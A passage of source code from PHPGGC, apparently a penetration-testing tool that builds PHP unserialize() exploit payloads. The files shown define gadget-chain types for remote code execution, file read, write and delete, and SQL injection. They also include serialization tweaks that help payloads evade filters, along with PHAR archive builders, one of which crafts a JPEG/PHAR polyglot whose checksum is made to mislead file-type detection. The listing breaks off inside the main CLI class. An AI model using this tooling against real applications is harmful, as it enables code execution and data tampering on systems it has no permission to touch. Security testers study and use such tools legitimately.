19 | $argument = $enhancement->$method( | |
20 | $argument | |
21 | ); | |
22 | } | |
23 | return $argument; | |
24 | } | |
25 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Enhancement; | |
3 | ||
4 | /** | |
5 | * Fast Destruct | |
6 | * Applies the fast-destruct technique, so that the object is destroyed | |
7 | * right after the unserialize() call, as opposed to at the end of the | |
8 | * script. | |
9 | * | |
10 | * This is very useful because sometimes the script throws an exception | |
11 | * after unserializing the object, and therefore __destruct() will never be | |
12 | * called. | |
13 | * | |
14 | * The object is put in a 2-item array. Both items have the same key. | |
15 | * Since the object has been put first, it is removed when the second item | |
16 | * is processed (same key). It will therefore be destroyed, and as a result | |
17 | * __destruct() will be called right after the unserialize() call, instead | |
18 | * of at the end of the script. | |
19 | */ | |
20 | class FastDestruct extends Enhancement | |
21 | { | |
22 | const FAST_DESTRUCT_TEMP_KEY = 7896543210; | |
23 | const FAST_DESTRUCT_FINAL_KEY = 7; | |
24 | ||
25 | /* | |
26 | * Pre-process step simply puts the object in an identifiable 2-elements | |
27 | * array. | |
28 | */ | |
29 | public function process_object($object) | |
30 | { | |
31 | $key = self::FAST_DESTRUCT_TEMP_KEY; | |
32 | return [$key => $object, $key + 1 => $key]; | |
33 | } | |
34 | ||
35 | /** | |
36 | * Post process step of the fast-destruct technique: replaces the original | |
37 | * array with an array with the two same keys. | |
38 | */ | |
39 | public function process_serialized($serialized) | |
40 | { | |
41 | /* | |
42 | This replaces the whole array structure, but it could not work in some | |
43 | edge cases. The second technique is more permissive but should not cause | |
44 | problems. | |
45 | ||
46 | $find = ( | |
47 | '#a:2:{' . | |
48 | 'i:' . self::FAST_DESTRUCT_TEMP_KEY . ';' . | |
49 | '(.*?)' . | |
50 | 'i:' . (self::FAST_DESTRUCT_TEMP_KEY + 1) . ';' . | |
51 | 'i:' . self::FAST_DESTRUCT_TEMP_KEY . ';' . | |
52 | '}#s' | |
53 | ); | |
54 | $replace = ( | |
55 | 'a:2:{' . | |
56 | 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';' . | |
57 | '\1' . | |
58 | 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';' . | |
59 | 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';' . | |
60 | '}' | |
61 | ); | |
62 | */ | |
63 | $find = ( | |
64 | '#i:(' . | |
65 | self::FAST_DESTRUCT_TEMP_KEY . '|' . | |
66 | (self::FAST_DESTRUCT_TEMP_KEY + 1) . | |
67 | ');#' | |
68 | ); | |
69 | $replace = 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';'; | |
70 | return preg_replace($find, $replace, $serialized); | |
71 | } | |
72 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Enhancement; | |
3 | ||
4 | /** | |
5 | * Adds a + (plus) symbol before every integer symbol of given type. | |
6 | * For instance, with 'Osi', | |
7 | * O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":+1:{s:+1:"x";i:+3;} | |
8 | * With 's': | |
9 | * O:3:"Abc":1:{s:1:"x";i:3;} -> O:3:"Abc":1:{s:+1:"x";i:3;} | |
10 | * | |
11 | * Note: Since PHP 7.2, only i and d (float) types can have a +. | |
12 | */ | |
13 | class PlusNumbers extends Enhancement | |
14 | { | |
15 | private $types; | |
16 | ||
17 | public function __construct($types) | |
18 | { | |
19 | $this->types = $types; | |
20 | } | |
21 | ||
22 | public function process_serialized($serialized) | |
23 | { | |
24 | $types = preg_quote($this->types, '#'); | |
25 | $serialized = preg_replace( | |
26 | '#\b([' . $types . ']):(\d+)([:;])#', | |
27 | '$1:+$2$3', | |
28 | $serialized | |
29 | ); | |
30 | return $serialized; | |
31 | } | |
32 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Enhancement; | |
3 | ||
4 | /** | |
5 | * Wrapper | |
6 | * Includes a file and calls its process_parameters, process_object | |
7 | * and process_serialized methods, if they exist. | |
8 | * This allows users to define custom actions so that the payload can be | |
9 | * formatted as they want it. | |
10 | */ | |
11 | class Wrapper extends Enhancement | |
12 | { | |
13 | public function __construct($filename) | |
14 | { | |
15 | require_once $filename; | |
16 | ||
17 | if( | |
18 | !function_exists('process_parameters') && | |
19 | !function_exists('process_object') && | |
20 | !function_exists('process_serialized') | |
21 | ) | |
22 | { | |
23 | $message = ( | |
24 | 'Wrapper file does not define process_parameters(), ' . | |
25 | 'process_object() or process_serialized()' | |
26 | ); | |
27 | throw new \PHPGGC\Exception($message); | |
28 | } | |
29 | } | |
30 | ||
31 | private function _call_if_exists($function, $data) | |
32 | { | |
33 | if(function_exists($function)) | |
34 | return call_user_func($function, $data); | |
35 | return $data; | |
36 | } | |
37 | ||
38 | public function process_parameters($parameters) | |
39 | { | |
40 | return $this->_call_if_exists('process_parameters', $parameters); | |
41 | } | |
42 | ||
43 | public function process_object($payload) | |
44 | { | |
45 | return $this->_call_if_exists('process_object', $payload); | |
46 | } | |
47 | ||
48 | public function process_serialized($serialized) | |
49 | { | |
50 | return $this->_call_if_exists('process_serialized', $serialized); | |
51 | } | |
52 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\GadgetChain; | |
3 | ||
4 | abstract class FileDelete extends \PHPGGC\GadgetChain | |
5 | { | |
6 | public static $type = self::TYPE_FD; | |
7 | public static $parameters = [ | |
8 | 'remote_file' | |
9 | ]; | |
10 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\GadgetChain; | |
3 | ||
4 | abstract class FileRead extends \PHPGGC\GadgetChain | |
5 | { | |
6 | public static $type = self::TYPE_FR; | |
7 | public static $parameters = [ | |
8 | 'remote_file' | |
9 | ]; | |
10 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\GadgetChain; | |
3 | ||
4 | abstract class FileWrite extends \PHPGGC\GadgetChain | |
5 | { | |
6 | public static $type = self::TYPE_FW; | |
7 | public static $parameters = [ | |
8 | 'remote_path', | |
9 | 'local_path' | |
10 | ]; | |
11 | ||
12 | public function process_parameters(array $parameters) | |
13 | { | |
14 | $local_path = $parameters['local_path']; | |
15 | ||
16 | if(!file_exists($local_path)) | |
17 | throw new \PHPGGC\Exception('Unable to read local file: ' . $parameters['local_path']); | |
18 | ||
19 | $parameters['data'] = file_get_contents($local_path); | |
20 | return $parameters; | |
21 | } | |
22 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\GadgetChain; | |
3 | ||
4 | abstract class PHPInfo extends \PHPGGC\GadgetChain | |
5 | { | |
6 | public static $type = self::TYPE_INFO; | |
7 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\GadgetChain; | |
3 | ||
4 | abstract class RCE extends \PHPGGC\GadgetChain | |
5 | { | |
6 | public static $type = self::TYPE_RCE; | |
7 | public static $parameters = [ | |
8 | 'function', | |
9 | 'parameter' | |
10 | ]; | |
11 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\GadgetChain; | |
3 | ||
4 | abstract class SqlInjection extends \PHPGGC\GadgetChain | |
5 | { | |
6 | public static $type = self::TYPE_SQLI; | |
7 | public static $parameters = [ | |
8 | 'sql' | |
9 | ]; | |
10 | } |
0 | <?php | |
1 | ||
2 | namespace PHPGGC; | |
3 | ||
4 | /** | |
5 | * Class handling the generation of a gadget chain specific to a PHP CMS, | |
6 | * framework, or library. | |
7 | * The class will automatically include the chain.php file present in the same | |
8 | * directory. | |
9 | * | |
10 | * Upon calling generate(), this object produces a gadget chain object. | |
11 | * The object can then be serialize()d into a serialized string. | |
12 | * Calling unserialize() on the string, in the right environment, should produce | |
13 | * an action: execute a PHP function, write a file, delete a file, etc. | |
14 | * | |
15 | * Depending on the type of the chain, some parameters must be given. For | |
16 | * instance, an RCE Gadget Chain generally requires the name of a function to | |
17 | * execute, along with its parameter(s). | |
18 | * A file write gadget chain requires the path of the remote file we wish to | |
19 | * write, and the path of a local file whose content is to be written. | |
20 | * | |
21 | * Along with the generate() method, which converts parameters into an object, | |
22 | * three generic methods are available: | |
23 | * - process_parameters($parameters) | |
24 | * - process_object($object) | |
25 | * - process_serialized($serialized) | |
26 | * | |
27 | * Those methods are to be found in other PHPGGC classes, for instance the main | |
28 | * class for handling CLI, PHPGGC. Refer to their documentation to understand | |
29 | * their usage. | |
30 | */ | |
31 | abstract class GadgetChain | |
32 | { | |
33 | public $name; | |
34 | public static $type; | |
35 | public static $version = '?'; | |
36 | # Vector to start the chain: __destruct, __toString, offsetGet, etc. | |
37 | public static $vector = ''; | |
38 | public static $author = ''; | |
39 | public static $parameters = []; | |
40 | public static $informations; | |
41 | ||
42 | # Types | |
43 | const TYPE_RCE = 'rce'; | |
44 | const TYPE_FI = 'file_include'; | |
45 | const TYPE_FR = 'file_read'; | |
46 | const TYPE_FW = 'file_write'; | |
47 | const TYPE_FD = 'file_delete'; | |
48 | const TYPE_SQLI = 'sql_injection'; | |
49 | const TYPE_INFO = 'phpinfo()'; | |
50 | ||
51 | function __construct() | |
52 | { | |
53 | $this->load_gadgets(); | |
54 | } | |
55 | ||
56 | protected function load_gadgets() | |
57 | { | |
58 | $directory = dirname((new \ReflectionClass($this))->getFileName()); | |
59 | require_once $directory . '/gadgets.php'; | |
60 | } | |
61 | ||
62 | /** | |
63 | * Generates the gadget chain object from given parameters. | |
64 | * Parameters are expected to have been processed before. | |
65 | * | |
66 | * @param array $parameters Gadget chain parameters | |
67 | * @return Object | |
68 | */ | |
69 | abstract public function generate(array $parameters); | |
70 | ||
71 | /** | |
72 | * Modifies given parameters if required. | |
73 | * Called before `generate()`. | |
74 | * This is called on the gadget chain's parameters, such as for instance | |
75 | * "remote_file" and "local_file" for a file write chain. | |
76 | * | |
77 | * @param array $parameters Gadget chain parameters | |
78 | * @return array Modified parameters | |
79 | */ | |
80 | public function process_parameters(array $parameters) | |
81 | { | |
82 | return $parameters; | |
83 | } | |
84 | ||
85 | /** | |
86 | * Modifies the object generated by this class if required. | |
87 | * Called after the object has been generated using `generate()`, and before | |
88 | * `serialize()`. | |
89 | * | |
90 | * One of the main usages is to convert given object into something that can | |
91 | * be processed by the targeted system. | |
92 | * @param Object $parameters Gadget chain object | |
93 | * @return Object Modified object | |
94 | */ | |
95 | public function process_object($object) | |
96 | { | |
97 | return $object; | |
98 | } | |
99 | ||
100 | /** | |
101 | * Modifies given serialized string if required. | |
102 | * Called after `serialize()`. | |
103 | * For instance, if a class is meant to be named A\B\C but has been named | |
104 | * A_B_C in the gadget for convenience, it can be str_replace()d here. | |
105 | * | |
106 | * @param string $serialized Serialized string representing the gadget chain | |
107 | * @return string Modified serialized string | |
108 | */ | |
109 | public function process_serialized($serialized) | |
110 | { | |
111 | return $serialized; | |
112 | } | |
113 | ||
114 | /** | |
115 | * Returns a string describing the gadget chain. | |
116 | */ | |
117 | public function __toString() | |
118 | { | |
119 | $infos = [ | |
120 | 'Name' => static::get_name(), | |
121 | 'Version' => static::$version, | |
122 | 'Type' => static::$type, | |
123 | 'Vector' => static::$vector | |
124 | ]; | |
125 | ||
126 | $strings = []; | |
127 | ||
128 | if(static::$informations) | |
129 | { | |
130 | $informations = trim(static::$informations); | |
131 | $informations = preg_replace("#\n\s+#", "\n", $informations); | |
132 | $infos['Informations'] = "\n" . $informations; | |
133 | } | |
134 | ||
135 | foreach($infos as $k => $v) | |
136 | { | |
137 | $strings[] = str_pad($k, 15) . ': ' . $v; | |
138 | } | |
139 | ||
140 | return implode("\n", $strings); | |
141 | } | |
142 | ||
143 | /** | |
144 | * Returns a standard name for the gadget chain, generally of the form | |
145 | * <Framework>/<Type><N>, for instance Guzzle/RCE1. | |
146 | */ | |
147 | public static function get_name() | |
148 | { | |
149 | $class = static::class; | |
150 | $class = substr($class, strpos($class, '\\') + 1); | |
151 | $class = str_replace('\\', '/', $class); | |
152 | return $class; | |
153 | } | |
154 | } |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Phar; | |
3 | ||
4 | /** | |
5 | * Abstract class representing a phar file format. | |
6 | * Usage: | |
7 | * | |
8 | */ | |
9 | abstract class Format | |
10 | { | |
11 | protected $format = ''; | |
12 | public $data; | |
13 | public $parameters = [ | |
14 | 'filename' => 'test.txt', | |
15 | 'prefix' => '' | |
16 | ]; | |
17 | ||
18 | /** | |
19 | * Creates an instance of a PHAR file format. | |
20 | * | |
21 | * @param string $metadata PHAR's metadata (serialized payload) | |
22 | * @param array $parameters | |
23 | */ | |
24 | public function __construct($metadata, $parameters=[]) | |
25 | { | |
26 | $this->metadata = $metadata; | |
27 | $this->parameters = $parameters + $this->parameters; | |
28 | } | |
29 | ||
30 | /** | |
31 | * Generates the contents of the PHAR file. | |
32 | * | |
33 | * @returns string Content of generated PHAR file | |
34 | */ | |
35 | public function generate() | |
36 | { | |
37 | $this->generate_dummy_metadata(); | |
38 | $this->generate_base_phar(); | |
39 | $this->replace_metadata(); | |
40 | $this->update_signature(); | |
41 | return $this->data; | |
42 | } | |
43 | ||
44 | protected function generate_base_phar() | |
45 | { | |
46 | $path = ( | |
47 | sys_get_temp_dir() . DIRECTORY_SEPARATOR . | |
48 | 'phpggc' . $this->format . '.phar' | |
49 | ); | |
50 | @unlink($path); | |
51 | ||
52 | $phar = new \Phar($path); | |
53 | $phar->startBuffering(); | |
54 | $phar->addFromString("dummy", 'test'); | |
55 | $phar->addFromString($this->parameters['filename'], 'test'); | |
56 | $phar->setStub( | |
57 | $this->parameters['prefix'] . | |
58 | '<?php __HALT_COMPILER(); ?>' | |
59 | ); | |
60 | $phar->setMetadata($this->dummy_metadata); | |
61 | ||
62 | # Since we might generate a new signature, we need to make sure the | |
63 | # algorithm is valid | |
64 | $phar->setSignatureAlgorithm(\Phar::SHA1); | |
65 | $phar->stopBuffering(); | |
66 | ||
67 | $this->data = file_get_contents($path); | |
68 | unlink($path); | |
69 | } | |
70 | ||
71 | protected function generate_dummy_metadata() | |
72 | { | |
73 | # We want our fake metadata to have the same size as our serialized | |
74 | # payload, so that we can make an in-place replacement in archives | |
75 | $dummy_size = strlen($this->metadata) - strlen('s::"";'); | |
76 | $dummy_size = $dummy_size - strlen($dummy_size); | |
77 | $this->dummy_metadata = str_repeat('A', $dummy_size); | |
78 | } | |
79 | ||
80 | /** | |
81 | * Updates the PHAR signature of the file. | |
82 | * It is format-dependant and therefore abstract. | |
83 | */ | |
84 | abstract protected function update_signature(); | |
85 | ||
86 | /** | |
87 | * Makes an in-place replacement at $offset in $data | |
88 | */ | |
89 | protected function in_place_replace($data, $offset, $change) | |
90 | { | |
91 | return | |
92 | substr($data, 0, $offset) . | |
93 | $change . | |
94 | substr($data, $offset + strlen($change)) | |
95 | ; | |
96 | } | |
97 | ||
98 | /** | |
99 | * Returns the signature for given data. | |
100 | */ | |
101 | protected function compute_signature($data) | |
102 | { | |
103 | return hex2bin(sha1($data)); | |
104 | } | |
105 | ||
106 | /** | |
107 | * Replaces every occurence of the fake metadata by the real one. | |
108 | */ | |
109 | protected function replace_metadata() | |
110 | { | |
111 | $this->data = str_replace( | |
112 | serialize($this->dummy_metadata), $this->metadata, $this->data | |
113 | ); | |
114 | } | |
115 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Phar; | |
3 | ||
4 | ||
5 | class Phar extends Format | |
6 | { | |
7 | protected $format = '.phar'; | |
8 | ||
9 | protected function update_signature() | |
10 | { | |
11 | $data = substr($this->data, 0, -28); | |
12 | $signature = $this->compute_signature($data); | |
13 | $this->data = $this->in_place_replace($this->data, -28, $signature); | |
14 | } | |
15 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Phar; | |
3 | ||
4 | ||
5 | class Tar extends Format | |
6 | { | |
7 | protected $format = '.tar'; | |
8 | ||
9 | const SIZE_HEADER = 512; | |
10 | const OFFSET_SIZE = 124; | |
11 | const OFFSET_CHECKSUM = 148; | |
12 | const NULL = "\x00"; | |
13 | ||
14 | public $parameters = [ | |
15 | 'filename' => 'test.txt', | |
16 | 'prefix' => '', | |
17 | 'jpeg' => null | |
18 | ]; | |
19 | ||
20 | public function generate_base_phar() | |
21 | { | |
22 | parent::generate_base_phar(); | |
23 | if($this->parameters['jpeg']) | |
24 | { | |
25 | $jpeg = file_get_contents($this->parameters['jpeg']); | |
26 | $this->generate_polyglot($jpeg); | |
27 | } | |
28 | } | |
29 | ||
30 | /** | |
31 | * Finds the TAR header associated to file $path. | |
32 | */ | |
33 | private function find_header($path) | |
34 | { | |
35 | $header_start = str_pad($path, 100, self::NULL); | |
36 | $pos = strpos($this->data, $header_start); | |
37 | if($pos === false) | |
38 | { | |
39 | $e = 'Unable to find header for path "' . $path . '"'; | |
40 | throw new Èxception($e); | |
41 | } | |
42 | return $pos; | |
43 | } | |
44 | ||
45 | /** | |
46 | * Replaces the contents of a file in the TAR archive. It works only if | |
47 | * the original data and the new one have the same size, as the header | |
48 | * will not change. | |
49 | */ | |
50 | protected function replace_file($path, $data) | |
51 | { | |
52 | $header_position = $this->find_header($path); | |
53 | $this->data = $this->in_place_replace( | |
54 | $this->data, $header_position + self::SIZE_HEADER, $data | |
55 | ); | |
56 | } | |
57 | ||
58 | /** | |
59 | * Computes a TAR header checksum | |
60 | */ | |
61 | private function compute_checksum($header) | |
62 | { | |
63 | $checksum = 0; | |
64 | ||
65 | for ($i=0;$i<self::SIZE_HEADER;$i++) | |
66 | { | |
67 | $checksum += ord(substr($header, $i, 1)); | |
68 | } | |
69 | ||
70 | return sprintf("%07o", $checksum); | |
71 | } | |
72 | ||
73 | /** | |
74 | * The signature of the TAR file is computed with the whole file content | |
75 | * except, obviously, the signature file. | |
76 | */ | |
77 | protected function update_signature() | |
78 | { | |
79 | $data = substr( | |
80 | $this->data, 0, $this->find_header('.phar/signature.bin') | |
81 | ); | |
82 | $signature = $this->compute_signature($data); | |
83 | $signature = "\x02\x00\x00\x00\x14\x00\x00\x00" . $signature; | |
84 | $this->replace_file('.phar/signature.bin', $signature); | |
85 | } | |
86 | ||
87 | /** | |
88 | * Replaces the contents of a file in the TAR archive. | |
89 | * This is not used anymore but I cannot bring myself to remove it. | |
90 | */ | |
91 | protected function replace_file_different_size($path, $data) | |
92 | { | |
93 | $tar = $this->data; | |
94 | $position = $this->find_header($path); | |
95 | $header = substr($tar, $position, self::SIZE_HEADER); | |
96 | ||
97 | $new_size = sprintf("%11o", strlen($data)); | |
98 | ||
99 | $header = $this->in_place_replace( | |
100 | $header, self::OFFSET_CHECKSUM, " " | |
101 | ); | |
102 | $header = $this->in_place_replace( | |
103 | $header, self::OFFSET_SIZE, $new_size | |
104 | ); | |
105 | ||
106 | $checksum = $this->compute_checksum($header); | |
107 | $header = $this->in_place_replace( | |
108 | $header, self::OFFSET_CHECKSUM, $checksum | |
109 | ); | |
110 | ||
111 | $tar = $this->in_place_replace( | |
112 | $tar, $position, $header | |
113 | ); | |
114 | $tar = $this->in_place_replace( | |
115 | $tar, $position + self::SIZE_HEADER, $data | |
116 | ); | |
117 | ||
118 | $this->data = $tar; | |
119 | } | |
120 | ||
121 | /** | |
122 | * Generates a polyglot file that is a JPEG and a PHAR. | |
123 | */ | |
124 | function generate_polyglot($jpeg) | |
125 | { | |
126 | $phar = substr($this->data, 6); | |
127 | $len = strlen($phar); | |
128 | $contents = | |
129 | substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . | |
130 | chr($len & 0xff) . $phar . substr($jpeg, 2); | |
131 | $contents = | |
132 | substr($contents, 0, 148) . | |
133 | " " . | |
134 | substr($contents, 156, 344) . "aaaa" . substr($contents, 504) | |
135 | ; | |
136 | ||
137 | $chksum = 0; | |
138 | ||
139 | for ($i=0;$i<512;$i++) | |
140 | { | |
141 | $chksum += ord(substr($contents, $i, 1)); | |
142 | } | |
143 | ||
144 | // make a checksum that PHP detects as valid, but libmagic doesn't | |
145 | // this ensures that the file will be detected as JPEG and not as tar | |
146 | $oct = sprintf("%06o", $chksum) . "x"; | |
147 | $contents = substr($contents, 0, 148) . $oct . substr($contents, 155); | |
148 | $this->data = $contents; | |
149 | } | |
150 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace PHPGGC\Phar; | |
3 | ||
4 | ||
5 | class Zip extends Format | |
6 | { | |
7 | protected $format = '.zip'; | |
8 | ||
9 | protected function update_signature() | |
10 | { | |
11 | // nothing yet :( | |
12 | } | |
13 | }⏎ |
0 | <?php | |
1 | # PHPGGC: PHP Generic Gadget Chains | |
2 | # Library of generic exploitation vectors for unserialize() | |
3 | # | |
4 | ||
5 | define('DIR_BASE', realpath(dirname(dirname(__FILE__)))); | |
6 | define('DIR_TEMPLATES', DIR_BASE . '/templates'); | |
7 | define('DIR_LIB', DIR_BASE . '/lib'); | |
8 | define('DIR_GADGETCHAINS', DIR_BASE . '/gadgetchains'); | |
9 | ||
10 | ||
11 | use \PHPGGC\Enhancement; | |
12 | ||
13 | ||
14 | PHPGGC::autoload_register(); | |
15 | PHPGGC::include_gadget_chains(); | |
16 | ||
17 | ||
18 | /** | |
19 | * This class is meant to handle CLI parameters and return a serialized payload | |
20 | * under different forms. | |
21 | */ | |
22 | class PHPGGC | |
23 | { | |
24 | protected $chains; | |
25 | ||
26 | public function __construct() | |
27 | { | |
28 | $this->chains = $this->load_gadget_chains(); | |
29 | } | |
30 | ||
31 | /** | |
32 | * Generates a payload from the command line arguments. | |
33 | * First, the gadget is loaded, and then it is generated using additional | |
34 | * arguments. | |
35 | */ | |
36 | public function generate() | |
37 | { | |
38 | global $argv; | |
39 | ||
40 | $parameters = $this->parse_cmdline($argv); | |
41 | ||
42 | if($parameters === null) | |
43 | return; | |
44 | ||
45 | if(count($parameters) < 1) | |
46 | { | |
47 | $this->help(); | |
48 | return; | |
49 | } | |
50 | ||
51 | $class = array_shift($parameters); | |
52 | $gc = $this->get_gadget_chain($class); | |
53 | ||
54 | $this->setup_enhancements(); | |
55 | $parameters = $this->get_type_parameters($gc, $parameters); | |
56 | $generated = $this->serialize($gc, $parameters); | |
57 | ||
58 | if(in_array('test-payload', $this->options)) | |
59 | $this->test_payload($gc, $generated); | |
60 | else | |
61 | $this->output_payload($generated); | |
62 | } | |
63 | ||
64 | /** | |
65 | * Runs generated payload using the ./template/test_payload.php script. | |
66 | * We have to use system() here, because the classes used during the | |
67 | * deserialization process are already defined by PHPGGC, and there is no | |
68 | * mechanism allowing to delete classes in PHP. Therefore, a new PHP process | |
69 | * has to be created. | |
70 | */ | |
71 | public function test_payload($gc, $payload) | |
72 | { | |
73 | $this->o('Trying to deserialize payload...'); | |
74 | $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector; | |
75 | system( | |
76 | escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' . | |
77 | escapeshellarg($vector) . ' ' . | |
78 | escapeshellarg(base64_encode($payload)) | |
79 | ); | |
80 | } | |
81 | ||
82 | /** | |
83 | * Displays the payload or stores it in a file. | |
84 | */ | |
85 | public function output_payload($payload) | |
86 | { | |
87 | if(!isset($this->parameters['output'])) | |
88 | { | |
89 | print($payload); | |
90 | if (!isset($this->parameters['phar'])) | |
91 | print("\n"); | |
92 | } | |
93 | else | |
94 | { | |
95 | file_put_contents($this->parameters['output'], $payload); | |
96 | } | |
97 | } | |
98 | ||
99 | /** | |
100 | * Returns an instance of the given gadget chain. | |
101 | */ | |
102 | public function get_gadget_chain($name) | |
103 | { | |
104 | $name = strtolower($name); | |
105 | if(!array_key_exists($name, $this->chains)) | |
106 | { | |
107 | $this->e('Unknown gadget chain: ' . $name); | |
108 | } | |
109 | ||
110 | $class = $this->chains[$name]; | |
111 | ||
112 | if( | |
113 | isset($this->parameters['phar']) && | |
114 | $class::$vector != '__destruct' && | |
115 | $class::$vector != '__wakeup' | |
116 | ) | |
117 | { | |
118 | $this->e('Phar requires either a __destruct or a __wakeup vector'); | |
119 | } | |
120 | ||
121 | return new $class(); | |
122 | } | |
123 | ||
124 | /** | |
125 | * Create enhancement instances from given options | |
126 | */ | |
127 | public function setup_enhancements() | |
128 | { | |
129 | $enhancements = []; | |
130 | ||
131 | if(isset($this->parameters['wrapper'])) | |
132 | $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']); | |
133 | if(in_array('fast-destruct', $this->options)) | |
134 | $enhancements[] = new Enhancement\FastDestruct(); | |
135 | if(in_array('ascii-strings', $this->options)) | |
136 | $enhancements[] = new Enhancement\ASCIIStrings(); | |
137 | if(isset($this->parameters['plus-numbers'])) | |
138 | $enhancements[] = new Enhancement\PlusNumbers( | |
139 | $this->parameters['plus-numbers'] | |
140 | ); | |
141 | $this->enhancements = new Enhancement\Enhancements($enhancements); | |
142 | } | |
143 | ||
144 | /** | |
145 | * Generates the serialized payload from given gadget and parameters. | |
146 | */ | |
147 | public function serialize($gc, $parameters) | |
148 | { | |
149 | $parameters = $this->process_parameters($gc, $parameters); | |
150 | $object = $gc->generate($parameters); | |
151 | $object = $this->process_object($gc, $object); | |
152 | $serialized = serialize($object); | |
153 | $serialized = $this->process_serialized($gc, $serialized); | |
154 | return $serialized; | |
155 | } | |
156 | ||
157 | /** | |
158 | * Includes every file that might contain a gadget chain. | |
159 | */ | |
160 | public static function include_gadget_chains() | |
161 | { | |
162 | $iterator = new RecursiveIteratorIterator( | |
163 | new RecursiveDirectoryIterator(DIR_GADGETCHAINS), | |
164 | RecursiveIteratorIterator::LEAVES_ONLY | |
165 | ); | |
166 | $regex = '#' . preg_quote(DIRECTORY_SEPARATOR) . 'chain.php$#'; | |
167 | foreach ($iterator as $filename) | |
168 | { | |
169 | if(preg_match($regex, $filename)) | |
170 | include_once $filename; | |
171 | } | |
172 | } | |
173 | ||
174 | /** | |
175 | * Loads every available gadget and returns an array of the form | |
176 | * class_name => class. | |
177 | */ | |
178 | public function load_gadget_chains() | |
179 | { | |
180 | $classes = get_declared_classes(); | |
181 | $classes = array_filter($classes, function($class) { | |
182 | return is_subclass_of($class, '\\PHPGGC\\GadgetChain') && | |
183 | strpos($class, 'GadgetChain\\') === 0; | |
184 | }); | |
185 | ||
186 | # Convert backslashes in classes names to forward slashes, | |
187 | # so that the command line is easier to use | |
188 | $names = array_map(function($class) { | |
189 | return strtolower($class::get_name()); | |
190 | }, $classes); | |
191 | ||
192 | $gcs = array_combine($names, $classes); | |
193 | ksort($gcs); | |
194 | ||
195 | return $gcs; | |
196 | } | |
197 | ||
198 | /** | |
199 | * Registers PHPGGC's autoload function. | |
200 | */ | |
201 | public static function autoload_register() | |
202 | { | |
203 | spl_autoload_register(array(static::class, 'autoload')); | |
204 | } | |
205 | ||
206 | /** | |
207 | * Autoloads PHPGGC base classes only, in order to avoid conflict between | |
208 | * different gadget chains. | |
209 | */ | |
210 | public static function autoload($class) | |
211 | { | |
212 | $file = DIR_LIB . '/' . str_replace('\\', '/', $class) . '.php'; | |
213 | if(file_exists($file)) | |
214 | require_once $file; | |
215 | } | |
216 | ||
217 | /** | |
218 | * Creates the file structure for a new gadget chain targeting $name and of | |
219 | * type $type. | |
220 | */ | |
221 | function new_gc($name, $type) | |
222 | { | |
223 | $namespace = '\\PHPGGC\\GadgetChain'; | |
224 | ||
225 | # Check type | |
226 | ||
227 | $type = strtoupper($type); | |
228 | $reflection = new ReflectionClass($namespace); | |
229 | $constant = 'TYPE_' . $type; | |
230 | $value = $reflection->getConstant($constant); | |
231 | ||
232 | if($value === false) | |
233 | { | |
234 | $this->o('Invalid type: ' . $type); | |
235 | return; | |
236 | } | |
237 | ||
238 | # Match base class from type | |
239 | ||
240 | $files = glob(DIR_LIB . '/PHPGGC/GadgetChain/*.php'); | |
241 | ||
242 | foreach($files as $file) | |
243 | { | |
244 | $classname = substr(basename($file), 0, -4); | |
245 | $classname = $namespace . '\\' . $classname; | |
246 | $reflection = new ReflectionClass($classname); | |
247 | ||
248 | if($reflection->getProperty('type')->getValue() === $value) | |
249 | { | |
250 | $baseclass = $reflection; | |
251 | break; | |
252 | } | |
253 | } | |
254 | ||
255 | if(!isset($baseclass)) | |
256 | { | |
257 | $this->o('No base class for type: ' . $type); | |
258 | return; | |
259 | } | |
260 | ||
261 | # Create directory structure | |
262 | ||
263 | $base = DIR_GADGETCHAINS . '/' . $name . '/' . $type . '/'; | |
264 | ||
265 | for($i=1;file_exists($base . $i);$i++); | |
266 | ||
267 | $base = $base . $i; | |
268 | mkdir($base, 0777, true); | |
269 | ||
270 | $replacements = [ | |
271 | '{NAME}' => $name, | |
272 | '{CLASS_NAME}' => $type . $i, | |
273 | '{BASE_CLASS_NAME}' => $baseclass->getName() | |
274 | ]; | |
275 | ||
276 | $this->create_from_template($base, 'chain.php', $replacements); | |
277 | $this->create_from_template($base, 'gadgets.php'); | |
278 | ||
279 | # Display success message | |
280 | ||
281 | $full_name = $replacements['{NAME}'] . '\\' | |
282 | . $replacements['{CLASS_NAME}']; | |
283 | $base = substr($base, strlen(DIR_BASE) + 1); | |
284 | ||
285 | $this->o('Created ' . $full_name . ' under: ' . $base); | |
286 | } | |
287 | ||
288 | /** | |
289 | * Creates a file in directory $path from template $name. | |
290 | */ | |
291 | function create_from_template($path, $name, $replacements=null) | |
292 | { | |
293 | $template = DIR_TEMPLATES . '/' . $name; | |
294 | $template = file_get_contents($template); | |
295 | ||
296 | if($replacements) | |
297 | $template = strtr($template, $replacements); | |
298 | ||
299 | file_put_contents($path . '/' . $name, $template); | |
300 | } | |
301 | ||
302 | # | |
303 | # Phar | |
304 | # | |
305 | ||
306 | /** | |
307 | * Generates a PHAR file of the correct format (PHAR, TAR, ZIP). | |
308 | */ | |
309 | function phar_generate($serialized) | |
310 | { | |
311 | if(ini_get('phar.readonly') == '1') | |
312 | { | |
313 | $this->e('Cannot create phar: phar.readonly is set to 1'); | |
314 | } | |
315 | ||
316 | $format = $this->parameters['phar']; | |
